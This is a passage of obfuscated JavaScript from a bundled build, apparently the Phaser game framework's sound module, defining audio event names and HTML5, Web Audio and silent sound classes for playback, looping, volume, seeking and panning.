{ _0x337f79['exports'] = 'decoded'; }, 0x11dba: _0x11aa8c => { _0x11aa8c['exports'] = 'destroy'; }, 0x2c29: _0x330d5f => { _0x330d5f['exports'] = 'detune'; }, 0x9e81: _0x25702c => { _0x25702c['exports'] = 'detune'; }, 0x767d: _0x550f1e => { _0x550f1e['exports'] = 'mute'; }, 0x4faa: _0x529b50 => { _0x529b50['exports'] = 'rate'; }, 0x552a: _0x25174b => { _0x25174b['exports'] = 'volume'; }, 0x513: _0x598bc1 => { _0x598bc1['exports'] = 'looped'; }, 0x18376: _0x491936 => { _0x491936['exports'] = 'loop'; }, 0x17b65: _0x595c45 => { _0x595c45['exports'] = 'mute'; }, 0x15cab: _0x37df66 => { _0x37df66['exports'] = 'pan'; }, 0x13872: _0x13a1c2 => { _0x13a1c2['exports'] = 'pauseall'; }, 0x44b2: _0x4f9edb => { _0x4f9edb['exports'] = 'pause'; }, 0x4ca2: _0x598447 => { _0x598447['exports'] = 'play'; }, 0xa542: _0x4bb72e => { _0x4bb72e['exports'] = 'rate'; }, 0x2893: _0x2853ba => { _0x2853ba['exports'] = 'resumeall'; }, 0xbf3f: _0x470e1c => { _0x470e1c['exports'] = 'resume'; }, 0x26e8: _0x16d327 => { _0x16d327['exports'] = 'seek'; }, 0x4aec: _0x17a55c => { _0x17a55c['exports'] = 'stopall'; }, 0x18018: _0x5036e8 => { _0x5036e8['exports'] = 'stop'; }, 0xc4e1: _0x469639 => { _0x469639['exports'] = 'unlocked'; }, 0xcd12: _0x4aa4e8 => { _0x4aa4e8['exports'] = 'volume'; }, 0x387f: (_0x37ae4d, _0x391962, _0x21a5e9) => { _0x37ae4d['exports'] = { 'COMPLETE': _0x21a5e9(0x4d0b), 'DECODED': _0x21a5e9(0xe0a2), 'DECODED_ALL': _0x21a5e9(0x18242), 'DESTROY': _0x21a5e9(0x11dba), 'DETUNE': _0x21a5e9(0x2c29), 'GLOBAL_DETUNE': _0x21a5e9(0x9e81), 'GLOBAL_MUTE': _0x21a5e9(0x767d), 'GLOBAL_RATE': _0x21a5e9(0x4faa), 'GLOBAL_VOLUME': _0x21a5e9(0x552a), 'LOOP': _0x21a5e9(0x18376), 'LOOPED': _0x21a5e9(0x513), 'MUTE': _0x21a5e9(0x17b65), 'PAN': _0x21a5e9(0x15cab), 'PAUSE_ALL': _0x21a5e9(0x13872), 'PAUSE': _0x21a5e9(0x44b2), 'PLAY': _0x21a5e9(0x4ca2), 'RATE': _0x21a5e9(0xa542), 'RESUME_ALL': _0x21a5e9(0x2893), 'RESUME': _0x21a5e9(0xbf3f), 'SEEK': _0x21a5e9(0x26e8), 'STOP_ALL': _0x21a5e9(0x4aec), 'STOP': _0x21a5e9(0x18018), 'UNLOCKED': _0x21a5e9(0xc4e1), 'VOLUME': _0x21a5e9(0xcd12) }; }, 0xfd7f: (_0x330f26, _0x309642, _0x233478) => { var _0x248c41 = _0x233478(0x7685), _0x1a28e7 = _0x233478(0x145db), _0x4bdcfa = _0x233478(0x387f), _0x39fbe4 = _0x233478(0xb107), _0x52f74c = new _0x1a28e7({ 'Extends': _0x248c41, 'initialize': function (_0x57af2a, _0x4ba12f, _0x1ed443) { if (void 0x0 === _0x1ed443 && (_0x1ed443 = {}), this['tags'] = _0x57af2a['game']['cache']['audio']['get'](_0x4ba12f), !this['tags']) throw new Error('No\x20cached\x20audio\x20asset\x20with\x20key\x20\x22' + _0x4ba12f); this['audio'] = null, this['startTime'] = 0x0, this['previousTime'] = 0x0, this['duration'] = this['tags'][0x0]['duration'], this['totalDuration'] = this['tags'][0x0]['duration'], _0x248c41['call'](this, _0x57af2a, _0x4ba12f, _0x1ed443); }, 'play': function (_0x47cac8, _0x5eae97) { return !(this['manager']['isLocked'](this, 'play', [_0x47cac8, _0x5eae97]) || !_0x248c41['prototype']['play']['call'](this, _0x47cac8, _0x5eae97) || !this['pickAndPlayAudioTag']() || (this['emit'](_0x4bdcfa['PLAY'], this), 0x0)); }, 'pause': function () { return !(this['manager']['isLocked'](this, 'pause') || this['startTime'] > 0x0 || !_0x248c41['prototype']['pause']['call'](this) || (this['currentConfig']['seek'] = this['audio']['currentTime'] - (this['currentMarker'] ? this['currentMarker']['start'] : 0x0), this['stopAndReleaseAudioTag'](), this['emit'](_0x4bdcfa['PAUSE'], this), 0x0)); }, 'resume': function () { return !(this['manager']['isLocked'](this, 'resume') || this['startTime'] > 0x0 || !_0x248c41['prototype']['resume']['call'](this) || !this['pickAndPlayAudioTag']() || (this['emit'](_0x4bdcfa['RESUME'], this), 0x0)); }, 'stop': function () { return !this['manager']['isLocked'](this, 'stop') && !!_0x248c41['prototype']['stop']['call'](this) && (this['stopAndReleaseAudioTag'](), this['emit'](_0x4bdcfa['STOP'], this), !0x0); }, 'pickAndPlayAudioTag': function () { if (!this['pickAudioTag']()) return this['reset'](), !0x1; var _0x507301 = this['currentConfig']['seek'], _0x4d123f = this['currentConfig']['delay'], _0x36fd6a = (this['currentMarker'] ? this['currentMarker']['start'] : 0x0) + _0x507301; return this['previousTime'] = _0x36fd6a, this['audio']['currentTime'] = _0x36fd6a, this['applyConfig'](), 0x0 === _0x4d123f ? (this['startTime'] = 0x0, this['audio']['paused'] && this['playCatchPromise']()) : (this['startTime'] = window['performance']['now']() + 0x3e8 * _0x4d123f, this['audio']['paused'] || this['audio']['pause']()), this['resetConfig'](), !0x0; }, 'pickAudioTag': function () { if (this['audio']) return !0x0; for (var _0x494487 = 0x0; _0x494487 < this['tags']['length']; _0x494487++) { var _0x356bcc = this['tags'][_0x494487]; if ('false' === _0x356bcc['dataset']['used']) return _0x356bcc['dataset']['used'] = 'true', this['audio'] = _0x356bcc, !0x0; } if (!this['manager']['override']) return !0x1; var _0x2d87e7 = []; this['manager']['forEachActiveSound'](function (_0x27da66) { _0x27da66['key'] === this['key'] && _0x27da66['audio'] && _0x2d87e7['push'](_0x27da66); }, this), _0x2d87e7['sort'](function (_0x5341b6, _0x2ae1e6) { return _0x5341b6['loop'] === _0x2ae1e6['loop'] ? _0x2ae1e6['seek'] / _0x2ae1e6['duration'] - _0x5341b6['seek'] / _0x5341b6['duration'] : _0x5341b6['loop'] ? 0x1 : -0x1; }); var _0x144b96 = _0x2d87e7[0x0]; return this['audio'] = _0x144b96['audio'], _0x144b96['reset'](), _0x144b96['audio'] = null, _0x144b96['startTime'] = 0x0, _0x144b96['previousTime'] = 0x0, !0x0; }, 'playCatchPromise': function () { var _0x434e7f = this['audio']['play'](); _0x434e7f && _0x434e7f['catch'](function (_0x3d6e69) { }); }, 'stopAndReleaseAudioTag': function () { this['startTime'] = 0x0, this['previousTime'] = 0x0, this['audio'] && (this['audio']['pause'](), this['audio']['dataset']['used'] = 'false', this['audio'] = null); }, 'reset': function () { _0x248c41['prototype']['stop']['call'](this); }, 'onBlur': function () { this['isPlaying'] = !0x1, this['isPaused'] = !0x0, this['currentConfig']['seek'] = this['audio']['currentTime'] - (this['currentMarker'] ? this['currentMarker']['start'] : 0x0), this['currentConfig']['delay'] = Math['max'](0x0, (this['startTime'] - window['performance']['now']()) / 0x3e8), this['stopAndReleaseAudioTag'](); }, 'onFocus': function () { this['isPlaying'] = !0x0, this['isPaused'] = !0x1, this['pickAndPlayAudioTag'](); }, 'update': function (_0x59dbb8) { if (this['isPlaying']) { if (this['startTime'] > 0x0) this['startTime'] < _0x59dbb8 - this['manager']['audioPlayDelay'] && (this['audio']['currentTime'] += Math['max'](0x0, _0x59dbb8 - this['startTime']) / 0x3e8, this['startTime'] = 0x0, this['previousTime'] = this['audio']['currentTime'], this['playCatchPromise']()); else { var _0x58036d = this['currentMarker'] ? this['currentMarker']['start'] : 0x0, _0x4c8a75 = _0x58036d + this['duration'], _0x4ef7fd = this['audio']['currentTime']; if (this['currentConfig']['loop']) _0x4ef7fd >= _0x4c8a75 - this['manager']['loopEndOffset'] ? (this['audio']['currentTime'] = _0x58036d + Math['max'](0x0, _0x4ef7fd - _0x4c8a75), _0x4ef7fd = this['audio']['currentTime']) : _0x4ef7fd < _0x58036d && (this['audio']['currentTime'] += _0x58036d, _0x4ef7fd = this['audio']['currentTime']), _0x4ef7fd < this['previousTime'] && this['emit'](_0x4bdcfa['LOOPED'], this); else { if (_0x4ef7fd >= _0x4c8a75) return this['reset'](), this['stopAndReleaseAudioTag'](), void this['emit'](_0x4bdcfa['COMPLETE'], this); } this['previousTime'] = _0x4ef7fd; } } }, 'destroy': function () { _0x248c41['prototype']['destroy']['call'](this), this['tags'] = null, this['audio'] && this['stopAndReleaseAudioTag'](); }, 'updateMute': function () { this['audio'] && (this['audio']['muted'] = this['currentConfig']['mute'] || this['manager']['mute']); }, 'updateVolume': function () { this['audio'] && (this['audio']['volume'] = _0x39fbe4(this['currentConfig']['volume'] * this['manager']['volume'], 0x0, 0x1)); }, 'calculateRate': function () { _0x248c41['prototype']['calculateRate']['call'](this), this['audio'] && (this['audio']['playbackRate'] = this['totalRate']); }, 'mute': { 'get': function () { return this['currentConfig']['mute']; }, 'set': function (_0x3f8173) { this['currentConfig']['mute'] = _0x3f8173, this['manager']['isLocked'](this, 'mute', _0x3f8173) || (this['updateMute'](), this['emit'](_0x4bdcfa['MUTE'], this, _0x3f8173)); } }, 'setMute': function (_0x324692) { return this['mute'] = _0x324692, this; }, 'volume': { 'get': function () { return this['currentConfig']['volume']; }, 'set': function (_0x59ccc5) { this['currentConfig']['volume'] = _0x59ccc5, this['manager']['isLocked'](this, 'volume', _0x59ccc5) || (this['updateVolume'](), this['emit'](_0x4bdcfa['VOLUME'], this, _0x59ccc5)); } }, 'setVolume': function (_0xd14311) { return this['volume'] = _0xd14311, this; }, 'rate': { 'get': function () { return this['currentConfig']['rate']; }, 'set': function (_0x48df5a) { this['currentConfig']['rate'] = _0x48df5a, this['manager']['isLocked'](this, _0x4bdcfa['RATE'], _0x48df5a) || (this['calculateRate'](), this['emit'](_0x4bdcfa['RATE'], this, _0x48df5a)); } }, 'setRate': function (_0x59d331) { return this['rate'] = _0x59d331, this; }, 'detune': { 'get': function () { return this['currentConfig']['detune']; }, 'set': function (_0x1a3e04) { this['currentConfig']['detune'] = _0x1a3e04, this['manager']['isLocked'](this, _0x4bdcfa['DETUNE'], _0x1a3e04) || (this['calculateRate'](), this['emit'](_0x4bdcfa['DETUNE'], this, _0x1a3e04)); } }, 'setDetune': function (_0x57d923) { return this['detune'] = _0x57d923, this; }, 'seek': { 'get': function () { return this['isPlaying'] ? this['audio']['currentTime'] - (this['currentMarker'] ? this['currentMarker']['start'] : 0x0) : this['isPaused'] ? this['currentConfig']['seek'] : 0x0; }, 'set': function (_0x34a624) { this['manager']['isLocked'](this, 'seek', _0x34a624) || this['startTime'] > 0x0 || (this['isPlaying'] || this['isPaused']) && (_0x34a624 = Math['min'](Math['max'](0x0, _0x34a624), this['duration']), this['isPlaying'] ? (this['previousTime'] = _0x34a624, this['audio']['currentTime'] = _0x34a624) : this['isPaused'] && (this['currentConfig']['seek'] = _0x34a624), this['emit'](_0x4bdcfa['SEEK'], this, _0x34a624)); } }, 'setSeek': function (_0x4d375d) { return this['seek'] = _0x4d375d, this; }, 'loop': { 'get': function () { return this['currentConfig']['loop']; }, 'set': function (_0x5bebda) { this['currentConfig']['loop'] = _0x5bebda, this['manager']['isLocked'](this, 'loop', _0x5bebda) || (this['audio'] && (this['audio']['loop'] = _0x5bebda), this['emit'](_0x4bdcfa['LOOP'], this, _0x5bebda)); } }, 'setLoop': function (_0x10359f) { return this['loop'] = _0x10359f, this; }, 'pan': { 'get': function () { return this['currentConfig']['pan']; }, 'set': function (_0x20160b) { this['currentConfig']['pan'] = _0x20160b, this['emit'](_0x4bdcfa['PAN'], this, _0x20160b); } }, 'setPan': function (_0x4d2f6f) { return this['pan'] = _0x4d2f6f, this; } }); _0x330f26['exports'] = _0x52f74c; }, 0x8394: (_0x444035, _0x4f8693, _0x1da826) => { var _0x3ddf6e = _0x1da826(0x14c2a), _0x1c29be = _0x1da826(0x145db), _0x3bc3a0 = _0x1da826(0x387f), _0xc5c13b = _0x1da826(0xfd7f), _0x5e56bb = new _0x1c29be({ 'Extends': _0x3ddf6e, 'initialize': function (_0x505a67) { this['override'] = !0x0, this['audioPlayDelay'] = 0.1, this['loopEndOffset'] = 0.05, this['onBlurPausedSounds'] = [], this['locked'] = 'ontouchstart' in window, this['lockedActionsQueue'] = this['locked'] ? [] : null, this['_mute'] = !0x1, this['_volume'] = 0x1, _0x3ddf6e['call'](this, _0x505a67); }, 'add': function (_0x43c570, _0x5b020a) { var _0x642b07 = new _0xc5c13b(this, _0x43c570, _0x5b020a); return this['sounds']['push'](_0x642b07), _0x642b07; }, 'unlock': function () { this['locked'] = !0x1; var _0x8c5258 = this; if (this['game']['cache']['audio']['entries']['each'](function (_0x588534, _0x2525fe) { for (var _0x39e058 = 0x0; _0x39e058 < _0x2525fe['length']; _0x39e058++)if ('true' === _0x2525fe[_0x39e058]['dataset']['locked']) return _0x8c5258['locked'] = !0x0, !0x1; return !0x0; }), this['locked']) { var _0x2edb87 = !0x1, _0x10ccd2 = function () { _0x2edb87 = !0x0; }, _0x27f9fa = function () { if (_0x2edb87) _0x2edb87 = !0x1; else { document['body']['removeEventListener']('touchmove', _0x10ccd2), document['body']['removeEventListener']('touchend', _0x27f9fa); var _0x344ef8 = []; if (_0x8c5258['game']['cache']['audio']['entries']['each'](function (_0x3ffc15, _0x6f7820) { for (var _0x4e406f = 0x0; _0x4e406f < _0x6f7820['length']; _0x4e406f++) { var _0xf687c0 = _0x6f7820[_0x4e406f]; 'true' === _0xf687c0['dataset']['locked'] && _0x344ef8['push'](_0xf687c0); } return !0x0; }), 0x0 !== _0x344ef8['length']) { var _0x599bfb = _0x344ef8[_0x344ef8['length'] - 0x1]; _0x599bfb['oncanplaythrough'] = function () { _0x599bfb['oncanplaythrough'] = null, _0x344ef8['forEach'](function (_0x189d00) { _0x189d00['dataset']['locked'] = 'false'; }), _0x8c5258['unlocked'] = !0x0; }, _0x344ef8['forEach'](function (_0x5aa028) { _0x5aa028['load'](); }); } } }; this['once'](_0x3bc3a0['UNLOCKED'], function () { for (this['forEachActiveSound'](function (_0x563f4b) { null === _0x563f4b['currentMarker'] && 0x0 === _0x563f4b['duration'] && (_0x563f4b['duration'] = _0x563f4b['tags'][0x0]['duration']), _0x563f4b['totalDuration'] = _0x563f4b['tags'][0x0]['duration']; }); this['lockedActionsQueue']['length'];) { var _0x9656e6 = this['lockedActionsQueue']['shift'](); _0x9656e6['sound'][_0x9656e6['prop']]['apply'] ? _0x9656e6['sound'][_0x9656e6['prop']]['apply'](_0x9656e6['sound'], _0x9656e6['value'] || []) : _0x9656e6['sound'][_0x9656e6['prop']] = _0x9656e6['value']; } }, this), document['body']['addEventListener']('touchmove', _0x10ccd2, !0x1), document['body']['addEventListener']('touchend', _0x27f9fa, !0x1); } }, 'onBlur': function () { this['forEachActiveSound'](function (_0x2edc12) { _0x2edc12['isPlaying'] && (this['onBlurPausedSounds']['push'](_0x2edc12), _0x2edc12['onBlur']()); }); }, 'onFocus': function () { this['onBlurPausedSounds']['forEach'](function (_0x16b474) { _0x16b474['onFocus'](); }), this['onBlurPausedSounds']['length'] = 0x0; }, 'destroy': function () { _0x3ddf6e['prototype']['destroy']['call'](this), this['onBlurPausedSounds']['length'] = 0x0, this['onBlurPausedSounds'] = null; }, 'isLocked': function (_0x1168b0, _0x3fc077, _0xc321b5) { return 'true' === _0x1168b0['tags'][0x0]['dataset']['locked'] && (this['lockedActionsQueue']['push']({ 'sound': _0x1168b0, 'prop': _0x3fc077, 'value': _0xc321b5 }), !0x0); }, 'setMute': function (_0x4535a3) { return this['mute'] = _0x4535a3, this; }, 'mute': { 'get': function () { return this['_mute']; }, 'set': function (_0x546d3d) { this['_mute'] = _0x546d3d, this['forEachActiveSound'](function (_0x33a522) { _0x33a522['updateMute'](); }), this['emit'](_0x3bc3a0['GLOBAL_MUTE'], this, _0x546d3d); } }, 'setVolume': function (_0xf0ad1b) { return this['volume'] = _0xf0ad1b, this; }, 'volume': { 'get': function () { return this['_volume']; }, 'set': function (_0x5beb8b) { this['_volume'] = _0x5beb8b, this['forEachActiveSound'](function (_0x42e007) { _0x42e007['updateVolume'](); }), this['emit'](_0x3bc3a0['GLOBAL_VOLUME'], this, _0x5beb8b); } } }); _0x444035['exports'] = _0x5e56bb; }, 0x5ca5: (_0x541a81, _0x6a9a20, _0x3ef512) => { _0x541a81['exports'] = { 'SoundManagerCreator': _0x3ef512(0x399b), 'Events': _0x3ef512(0x387f), 'BaseSound': _0x3ef512(0x7685), 'BaseSoundManager': _0x3ef512(0x14c2a), 'WebAudioSound': _0x3ef512(0x1183d), 'WebAudioSoundManager': _0x3ef512(0xe092), 'HTML5AudioSound': _0x3ef512(0xfd7f), 'HTML5AudioSoundManager': _0x3ef512(0x8394), 'NoAudioSound': _0x3ef512(0x11fb), 'NoAudioSoundManager': _0x3ef512(0x6568) }; }, 0x11fb: (_0x2b95c0, _0x48edf4, _0x5eb6d5) => { var _0x4a8a64 = _0x5eb6d5(0x7685), _0x5a6f0c = _0x5eb6d5(0x145db), _0x4535cc = _0x5eb6d5(0xc668), _0x535550 = _0x5eb6d5(0x135bb), _0x1d4ad3 = _0x5eb6d5(0x7433), _0x3d3b31 = function () { return !0x1; }, _0x41a3a2 = function () { return null; }, _0x4c40c9 = function () { return this; }, _0x2e6bd3 = new _0x5a6f0c({ 'Extends': _0x4535cc, 'initialize': function (_0x353ca7, _0x5350e5, _0x4b3fc2) { void 0x0 === _0x4b3fc2 && (_0x4b3fc2 = {}), _0x4535cc['call'](this), this['manager'] = _0x353ca7, this['key'] = _0x5350e5, this['isPlaying'] = !0x1, this['isPaused'] = !0x1, this['totalRate'] = 0x1, this['duration'] = 0x0, this['totalDuration'] = 0x0, this['config'] = _0x535550({ 'mute': !0x1, 'volume': 0x1, 'rate': 0x1, 'detune': 0x0, 'seek': 0x0, 'loop': !0x1, 'delay': 0x0, 'pan': 0x0 }, _0x4b3fc2), this['currentConfig'] = this['config'], this['mute'] = !0x1, this['volume'] = 0x1, this['rate'] = 0x1, this['detune'] = 0x0, this['seek'] = 0x0, this['loop'] = !0x1, this['pan'] = 0x0, this['markers'] = {}, this['currentMarker'] = null, this['pendingRemove'] = !0x1; }, 'addMarker': _0x3d3b31, 'updateMarker': _0x3d3b31, 'removeMarker': _0x41a3a2, 'play': _0x3d3b31, 'pause': _0x3d3b31, 'resume': _0x3d3b31, 'stop': _0x3d3b31, 'setMute': _0x4c40c9, 'setVolume': _0x4c40c9, 'setRate': _0x4c40c9, 'setDetune': _0x4c40c9, 'setSeek': _0x4c40c9, 'setLoop': _0x4c40c9, 'setPan': _0x4c40c9, 'applyConfig': _0x41a3a2, 'resetConfig': _0x41a3a2, 'update': _0x1d4ad3, 'calculateRate': _0x41a3a2, 'destroy': function () { _0x4a8a64['prototype']['destroy']['call'](this); } }); _0x2b95c0['exports'] = _0x2e6bd3; }, 0x6568: (_0x4d5ff8, _0x1f90ba, _0x405047) => { var _0x365a56 = _0x405047(0x14c2a), _0x39db39 = _0x405047(0x145db), _0x3689ae = _0x405047(0xc668), _0x161851 = _0x405047(0x11fb), _0x244a8b = _0x405047(0x7433), _0x58e088 = new _0x39db39({ 'Extends': _0x3689ae, 'initialize': function (_0x21ae87) { _0x3689ae['call'](this), this['game'] = _0x21ae87, this['sounds'] = [], this['mute'] = !0x1, this['volume'] = 0x1, this['rate'] = 0x1, this['detune'] = 0x0, this['pauseOnBlur'] = !0x0, this['locked'] = !0x1; }, 'add': function (_0x5d4c0a, _0x1c2d4b) { var _0x4db6eb = new _0x161851(this, _0x5d4c0a, _0x1c2d4b); return this['sounds']['push'](_0x4db6eb), _0x4db6eb; }, 'addAudioSprite': function (_0x34b060, _0x19b084) { var _0x591c89 = this['add'](_0x34b060, _0x19b084); return _0x591c89['spritemap'] = {}, _0x591c89; }, 'get': function (_0x3ca837) { return _0x365a56['prototype']['get']['call'](this, _0x3ca837); }, 'getAll': function (_0x5a7b46) { return _0x365a56['prototype']['getAll']['call'](this, _0x5a7b46); }, 'play': function (_0x4e1966, _0x34c500) { return !0x1; }, 'playAudioSprite': function (_0x4e680c, _0xa27de3, _0x2a7661) { return !0x1; }, 'remove': function (_0x9c140b) { return _0x365a56['prototype']['remove']['call'](this, _0x9c140b); }, 'removeAll': function () { return _0x365a56['prototype']['removeAll']['call'](this); }, 'removeByKey': function (_0x3bf203) { return _0x365a56['prototype']['removeByKey']['call'](this, _0x3bf203); }, 'stopByKey': function (_0x9d95b7) { return _0x365a56['prototype']['stopByKey']['call'](this, _0x9d95b7); }, 'onBlur': _0x244a8b, 'onFocus': _0x244a8b, 'onGameBlur': _0x244a8b, 'onGameFocus': _0x244a8b, 'pauseAll': _0x244a8b, 'resumeAll': _0x244a8b, 'stopAll': _0x244a8b, 'update': _0x244a8b, 'setRate': _0x244a8b, 'setDetune': _0x244a8b, 'setMute': _0x244a8b, 'setVolume': _0x244a8b, 'unlock': _0x244a8b, 'forEachActiveSound': function (_0x59b424, _0x192577) { _0x365a56['prototype']['forEachActiveSound']['call'](this, _0x59b424, _0x192577); }, 'destroy': function () { _0x365a56['prototype']['destroy']['call'](this); } }); _0x4d5ff8['exports'] = _0x58e088; }, 0x1183d: (_0x3bdd3, _0x2f81a6, _0x55b62f) => { var _0x4eeef7 = _0x55b62f(0x7685), _0x2c50da = _0x55b62f(0x145db), _0x3e9cb9 = _0x55b62f(0x387f), _0x1cbddb = _0x55b62f(0x17534), _0x40c219 = new _0x2c50da({ 'Extends': _0x4eeef7, 'initialize': function (_0x416e28, _0x107a8b, _0x6c2919) { if (void 0x0 === _0x6c2919 && (_0x6c2919 = {}), this['audioBuffer'] = _0x416e28['game']['cache']['audio']['get'](_0x107a8b), !this['audioBuffer']) throw new Error('Audio\x20key\x20\x22' + _0x107a8b + '\x22\x20not\x20found\x20in\x20cache'); this['source'] = null, this['loopSource'] = null, this['muteNode'] = _0x416e28['context']['createGain'](), this['volumeNode'] = _0x416e28['context']['createGain'](), this['pannerNode'] = null, this['spatialNode'] = null, this['spatialSource'] = null, this['playTime'] = 0x0, this['startTime'] = 0x0, this['loopTime'] = 0x0, this['rateUpdates'] = [], this['hasEnded'] = !0x1, this['hasLooped'] = !0x1, this['muteNode']['connect'](this['volumeNode']), _0x416e28['context']['createPanner'] && (this['spatialNode'] = _0x416e28['context']['createPanner'](), this['volumeNode']['connect'](this['spatialNode'])), _0x416e28['context']['createStereoPanner'] ? (this['pannerNode'] = _0x416e28['context']['createStereoPanner'](), _0x416e28['context']['createPanner'] ? this['spatialNode']['connect'](this['pannerNode']) : this['volumeNode']['connect'](this['pannerNode']), this['pannerNode']['connect'](_0x416e28['destination'])) : _0x416e28['context']['createPanner'] ? this['spatialNode']['connect'](_0x416e28['destination']) : this['volumeNode']['connect'](_0x416e28['destination']), this['duration'] = this['audioBuffer']['duration'], this['totalDuration'] = this['audioBuffer']['duration'], _0x4eeef7['call'](this, _0x416e28, _0x107a8b, _0x6c2919); }, 'play': function (_0x5a211e, _0x237805) { return !!_0x4eeef7['prototype']['play']['call'](this, _0x5a211e, _0x237805) && (this['stopAndRemoveBufferSource'](), this['createAndStartBufferSource'](), this['emit'](_0x3e9cb9['PLAY'], this), !0x0); }, 'pause': function () { return !(this['manager']['context']['currentTime'] < this['startTime'] || !_0x4eeef7['prototype']['pause']['call'](this) || (this['currentConfig']['seek'] = this['getCurrentTime'](), this['stopAndRemoveBufferSource'](), this['emit'](_0x3e9cb9['PAUSE'], this), 0x0)); }, 'resume': function () { return !(this['manager']['context']['currentTime'] < this['startTime'] || !_0x4eeef7['prototype']['resume']['call'](this) || (this['createAndStartBufferSource'](), this['emit'](_0x3e9cb9['RESUME'], this), 0x0)); }, 'stop': function () { return !!_0x4eeef7['prototype']['stop']['call'](this) && (this['stopAndRemoveBufferSource'](), this['emit'](_0x3e9cb9['STOP'], this), !0x0); }, 'createAndStartBufferSource': function () { var _0x529809 = this['currentConfig']['seek'], _0x37b402 = this['currentConfig']['delay'], _0x1bf80b = this['manager']['context']['currentTime'] + _0x37b402, _0x2cbd50 = (this['currentMarker'] ? this['currentMarker']['start'] : 0x0) + _0x529809, _0x1d7536 = this['duration'] - _0x529809; this['playTime'] = _0x1bf80b - _0x529809, this['startTime'] = _0x1bf80b, this['source'] = this['createBufferSource'](), this['applyConfig'](), this['source']['start'](Math['max'](0x0, _0x1bf80b), Math['max'](0x0, _0x2cbd50), Math['max'](0x0, _0x1d7536)), this['resetConfig'](); }, 'createAndStartLoopBufferSource': function () { var _0x29287e = this['getLoopTime'](), _0x5ca019 = this['currentMarker'] ? this['currentMarker']['start'] : 0x0, _0x4cbf3a = this['duration']; this['loopTime'] = _0x29287e, this['loopSource'] = this['createBufferSource'](), this['loopSource']['playbackRate']['setValueAtTime'](this['totalRate'], 0x0), this['loopSource']['start'](Math['max'](0x0, _0x29287e), Math['max'](0x0, _0x5ca019), Math['max'](0x0, _0x4cbf3a)); }, 'createBufferSource': function () { var _0xdd22e8 = this, _0x16a563 = this['manager']['context']['createBufferSource'](); return _0x16a563['buffer'] = this['audioBuffer'], _0x16a563['connect'](this['muteNode']), _0x16a563['onended'] = function (_0x161130) { var _0x5745d4 = _0x161130['target']; _0x5745d4 !== _0xdd22e8['source'] && _0x5745d4 !== _0xdd22e8['loopSource'] || (_0xdd22e8['currentConfig']['loop'] ? _0xdd22e8['hasLooped'] = !0x0 : _0xdd22e8['hasEnded'] = !0x0); }, _0x16a563; }, 'stopAndRemoveBufferSource': function () { if (this['source']) { var _0x1cd012 = this['source']; this['source'] = null, _0x1cd012['stop'](), _0x1cd012['disconnect'](); } this['playTime'] = 0x0, this['startTime'] = 0x0, this['hasEnded'] = !0x1, this['stopAndRemoveLoopBufferSource'](); }, 'stopAndRemoveLoopBufferSource': function () { this['loopSource'] && (this['loopSource']['stop'](), this['loopSource']['disconnect'](), this['loopSource'] = null), this['loopTime'] = 0x0; }, 'applyConfig': function () { this['rateUpdates']['length'] = 0x0, this['rateUpdates']['push']({ 'time': 0x0, 'rate': 0x1 }); var _0x1f6495 = this['currentConfig']['source']; if (_0x1f6495 && this['manager']['context']['createPanner']) { var _0x2d5791 = this['spatialNode']; _0x2d5791['panningModel'] = _0x1cbddb(_0x1f6495, 'panningModel', 'equalpower'), _0x2d5791['distanceModel'] = _0x1cbddb(_0x1f6495, 'distanceModel', 'inverse'), _0x2d5791['orientationX']['value'] = _0x1cbddb(_0x1f6495, 'orientationX', 0x0), _0x2d5791['orientationY']['value'] = _0x1cbddb(_0x1f6495, 'orientationY', 0x0), _0x2d5791['orientationZ']['value'] = _0x1cbddb(_0x1f6495, 'orientationZ', -0x1), _0x2d5791['refDistance'] = _0x1cbddb(_0x1f6495, 'refDistance', 0x1), _0x2d5791['maxDistance'] = _0x1cbddb(_0x1f6495, 'maxDistance', 0x2710), _0x2d5791['rolloffFactor'] = _0x1cbddb(_0x1f6495, 'rolloffFactor', 0x1), _0x2d5791['coneInnerAngle'] = _0x1cbddb(_0x1f6495, 'coneInnerAngle', 0x168), _0x2d5791['coneOuterAngle'] = _0x1cbddb(_0x1f6495, 'coneOuterAngle', 0x0), _0x2d5791['coneOuterGain'] = _0x1cbddb(_0x1f6495, 'coneOuterGain', 0x0), this['spatialSource'] = _0x1cbddb(_0x1f6495, 'follow', null), this['spatialSource'] || (_0x2d5791['positionX']['value'] = _0x1cbddb(_0x1f6495, 'x', 0x0), _0x2d5791['positionY']['value'] = _0x1cbddb(_0x1f6495, 'y', 0x0), _0x2d5791['positionZ']['value'] = _0x1cbddb(_0x1f6495, 'z', 0x0)); } _0x4eeef7['prototype']['applyConfig']['call'](this); }, 'x': { 'get': function () { return this['spatialNode'] ? this['spatialNode']['positionX'] : 0x0; }, 'set': function (_0x2ccd6e) { this['spatialNode'] && (this['spatialNode']['positionX']['value'] = _0x2ccd6e); } }, 'y': { 'get': function () { return this['spatialNode'] ? this['spatialNode']['positionY'] : 0x0; }, 'set': function (_0x4982c4) { this['spatialNode'] && (this['spatialNode']['positionY']['value'] = _0x4982c4); } }, 'update': function () { if (this['isPlaying'] && this['spatialSource']) { var _0xdb4da3 = _0x1cbddb(this['spatialSource'], 'x', null), _0x5b2625 = _0x1cbddb(this['spatialSource'], 'y', null); _0xdb4da3 && _0xdb4da3 !== this['_spatialx'] && (this['_spatialx'] = this['spatialNode']['positionX']['value'] = _0xdb4da3), _0x5b2625 && _0x5b2625 !== this['_spatialy'] && (this['_spatialy'] = this['spatialNode']['positionY']['value'] = _0x5b2625); } this['hasEnded'] ? (_0x4eeef7['prototype']['stop']['call'](this), this['stopAndRemoveBufferSource'](), this['emit'](_0x3e9cb9['COMPLETE'], this)) : this['hasLooped'] && (this['hasLooped'] = !0x1, this['source'] = this['loopSource'], this['loopSource'] = null, this['playTime'] = this['startTime'] = this['loopTime'], this['rateUpdates']['length'] = 0x0, this['rateUpdates']['push']({ 'time': 0x0, 'rate': this['totalRate'] }), this['createAndStartLoopBufferSource'](), this['emit'](_0x3e9cb9['LOOPED'], this)); }, 'destroy': function () { this['pendingRemove'] || (_0x4eeef7['prototype']['destroy']['call'](this), this['audioBuffer'] = null, this['stopAndRemoveBufferSource'](), this['muteNode']['disconnect'](), this['muteNode'] = null, this['volumeNode']['disconnect'](), this['volumeNode'] = null, this['pannerNode'] && (this['pannerNode']['disconnect'](), this['pannerNode'] = null), this['spatialNode'] && (this['spatialNode']['disconnect'](), this['spatialNode'] = null, this['spatialSource'] = null), this['rateUpdates']['length'] = 0x0, this['rateUpdates'] = null); }, 'calculateRate': function () { _0x4eeef7['prototype']['calculateRate']['call'](this); var _0x127123 = this['manager']['context']['currentTime']; this['source'] && 